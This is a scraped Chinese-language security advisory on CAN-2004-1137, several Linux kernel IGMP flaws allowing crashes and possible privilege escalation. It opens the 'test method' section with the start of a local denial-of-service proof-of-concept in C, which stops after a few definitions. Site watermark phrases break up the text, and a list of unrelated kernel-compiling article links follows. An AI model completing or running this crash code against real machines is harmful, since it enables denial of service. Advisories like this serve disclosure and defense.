受影响系统:

Linux kernel 2.6.9

Linux kernel 2.6.8

Linux kernel 2.6.7

Linux kernel 2.6.6

Linux kernel 2.6.5

Linux kernel 2.6.4

Linux kernel 2.6.3

Linux kernel 2.6.2

Linux kernel 2.6.1

Linux kernel 2.6

Linux kernel 2.4.9

Linux kernel 2.4.8

Linux kernel 2.4.7

Linux kernel 2.4.6

Linux kernel 2.4.5

Linux kernel 2.4.4

Linux kernel 2.4.3

Linux kernel 2.4.28

Linux kernel 2.4.27

Linux kernel 2.4.26

Linux kernel 2.4.25

Linux kernel 2.4.24

Linux kernel 2.4.23

Linux kernel 2.4.22

Linux kernel 2.4.21

Linux kernel 2.4.20

Linux kernel 2.4.2

Linux kernel 2.4.19

Linux kernel 2.4.18

Linux kernel 2.4.17

Linux kernel 2.4.16

Linux kernel 2.4.15

Linux kernel 2.4.14

Linux kernel 2.4.13

Linux kernel 2.4.12

Linux kernel 2.4.11

Linux kernel 2.4.10

Linux kernel 2.4.1

Linux kernel 2.4

描述:

--------------------------------------------------------------------------------

CVE(CAN) ID: CAN-2004-1137 dedecms.com

Linux Kernel是开放源代码操作系统Linux的内核。

内容来自dedecms

Linux IGMP网络模块和对应的用户API存在多个问题,本地和远程攻击者可以利用这些漏洞提升特权,或使内核崩溃。

copyright dedecms

问题一存在于ip_mc_source()函数中,此函数可通过用户API(IP_(UN)BLOCK_SOURCE, IP_ADD/DROP_SOURCE_MEMBERSHIP,MCAST_(UN)BLOCK_SOURCE和 MCAST_JOIN/LEAVE_SOURCE_GROUP)调用,存在多个内核崩溃和内核内存覆盖问题。 织梦好,好织梦

通过递减'ip_sf_socklist'结构的'sl_count'计数器到0xffffffff,上面函数就会使内核进入无限循环,而导致内核崩溃。 copyright dedecms

随即整个kmalloc分配的内核内存会由于4字节的移位而引起突然机器重新启动,正确利用此漏洞可能造成特权提升。

本文来自织梦

问题二是由于问题一的原因,可能通过ip_mc_msfget()和ip_mc_gsfget()函数读取大量内核内存信息而造成内核溢出。使系统崩溃。 copyright dedecms

问题三存在于网络模块中的igmp_marksources()函数中,由IGMP组上下文调用,当接收到外部网络的查询时,由于对接收到到的IGMP消息参数缺少充分过滤,可导致一个越界读取内核内存问题,如果Linux机器支持多播的情况下,此漏洞可远程利用。

本文来自织梦

本文来自织梦

链接:

*> 内容来自dedecms

测试方法:

-------------------------------------------------------------------------------- 织梦好,好织梦

警 告

本文来自织梦

以下程序(方法)可能带有攻击性,仅供研究与教学之用。使用者风险自负! 内容来自dedecms

Paul Starzetz ()提供了如下测试方法:

copyright dedecms

/*

* Linux igmp.c local DoS

* Warning: this code will crash your machine!

*

* gcc -O2 mreqfck.c -o mreqfck

*

* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.

*

* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"

* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

*

*/

织梦好,好织梦

#include

#include

#include

#include

#include

#include copyright dedecms

#define MCAST_INCLUDE 1

#define IP_MSFILTER 41

内容来自dedecms

#define IP_UNBLOCK_SOURCE 37

#define IP_BLOCK_SOURCE 38 织梦好,好织梦

struct ip_msfilter

{

__u32 ims

内容来自dedecms

linux内核关闭igmp,Linux kernel IGMP多个安全漏洞相关推荐

  1. linux 内核优化实战,Linux编译优化必须掌握的几个姿势总结

    01.编译选项和内核编译 Linux内核(英语:linux kernel),是一种计算机操作系统内核,已C语言和汇编语言写成,匹配POSIX标准,以GNU通用公共许可证发布.从技术上说Linux只是一 ...

  2. 【Linux 内核】编译 Linux 内核 ⑤ ( 查看 .config 编译配置文件 | 正式编译内核 )

    文章目录 一.查看 .config 编译配置文件 二.正式编译内核 一.查看 .config 编译配置文件 在上一篇博客 [Linux 内核]编译 Linux 内核 ④ ( 打开 Linux 内核编译 ...

  3. 【Linux 内核】编译 Linux 内核 ① ( 下载指定版本的 Linux 内核源码 | Linux 内核版本号含义 | 主版本号 | 次版本号 | 小版本号 | 稳定版本 )

    文章目录 一.下载 Linux 内核 1.下载最新版本 Linux 内核 2.下载指定版本 Linux 内核 二.Linux 内核版本号含义 一.下载 Linux 内核 1.下载最新版本 Linux ...

  4. 简述arm linux内核启动流程,Linux内核启动过程和Bootloader(总述)

    1.Linux内核启动过程概述 一个嵌入式 Linux 系统从软件角度看可以分为四个部分:引导加载程序(Bootloader),Linux 内核,文件系统,应用程序.其中 Bootloader是系统启 ...

  5. 武汉linux内核好找吗,Linux内核入门

    Linux内核入门 收藏 如何获取Linux内核源代码 下载Linux内核当然要去http://www.kernel.org/了,网站提供了两种文件下载,一种是完整的Linux内核,另一种是内核增量补 ...

  6. 编译Linux内核没有zImage,Linux 编译系统的简单介绍与内核编译安装

    这里不只是讲怎样编译.安装Linux内核的,更主要的是介绍内核的编译系统和各个重要的文件.最后还利用学到的编译.安装Linux内核去修改Linux的01调度变成随机调度.如果你只是需要编译.安装内核的 ...

  7. Linux内核及主流Linux发行版对应关系汇总

    Linux内核及主流Linux发行版对应关系汇总 如需转载请标明出处:http://blog.csdn.net/itas109 QQ技术交流群:129518033 文章目录 Linux内核及主流Lin ...

  8. linux的头文件下载,Linux内核头文件(linux headers)

    更新 Linux 内核头文件(linux headers) 三 8th, 2013 2,474 views | 发表评论 | Trackback 一般来说,如果不是自己编译 kernel,那么更新头文 ...

  9. 【Linux 内核】编译 Linux 内核 ⑦ ( 安装内核模块 | 安装内核 | 重启系统 | 查看当前内核版本 )

    文章目录 一.安装内核模块 二.安装内核 三.重启系统 四.查看当前内核版本 一.安装内核模块 确保 Linux 内核编译完成 , 没有任何报错之后 ; 参考 [Linux 内核]编译 Linux 内 ...

  10. linux内核 can总线,Linux Canbus调试笔记

    http://blog.csdn.net/flydream0/article/details/8161418 CAN总线在嵌入式Linux下驱动程序的实现 http://www.21ic.com/ap ...

最新文章

  1. dede 二次开发系统迁移到 IIS 时会出现的问题及解决方案
  2. 规划搜索产品时,我们可以如何着手?
  3. springMVC参数的传递方式(1.通过@PathVariabl获取路径参数,2.@ModelAttribute获取数据,3.HttpServletRequest取参,4@RequestParam)
  4. SpringBoot 自定义线程池
  5. oracle中慢sql优化思路
  6. QuickBI助你成为分析师——计算字段功能
  7. vue3.0 组件使用 引用 传值 父传子 子传父
  8. golang 猜数字小游戏
  9. Linux统计文件夹中文件的个数
  10. 生成.pkl文件,读取.pkl文件的内容
  11. 轻量级Java EE企业应用实战(第4版):Struts 2+Spring 4+Hibernate整合开发(含CD光盘1张)
  12. 挑战程序设计竞赛 练习日记
  13. Java优秀员工自我评价_年度优秀员工自我评价
  14. layui富文本编辑器,使用第三方插件Kz.layedit上传文件时自定义文件域字段名和请求参数
  15. 引入jq库,却不起效,底线解决方法
  16. win10在命令行下运行python程序
  17. C语言(##)连接符号的简单使用
  18. linux 下的文本处理——除去重复行uniq命令
  19. Java中双冒号(::)运算操作符
  20. mysql备份导出数据库结构_MySql数据库导出完整版(导出数据库,导出表,导出数据库结构)详解...

热门文章

  1. 华为云企业级Redis:助力VMALL打造先进特征平台
  2. 华为云数据库首席架构师:关于数据库他这样说……
  3. 秋风到,ModelArts“ AI市场算法Fast-SCNN指南”秋膘贴起来
  4. 【华为云技术分享】云图说 | 初识云耀云服务器,打造“极优、极简”的云上体验
  5. android 测试人员测试时使用release版本还是debug版本_为什么做软件测试
  6. MATLAB绘图辅助操作
  7. MyBatis的CURD
  8. hdu 1213 HowManyTables 并查集
  9. Swiper学习之二---swiper的配置选项 ①
  10. 在jupyter编写代码列出HTML,Jupyter ~ 像写文章般的 Coding (附:同一个ipynb文件,执行多语言代码)...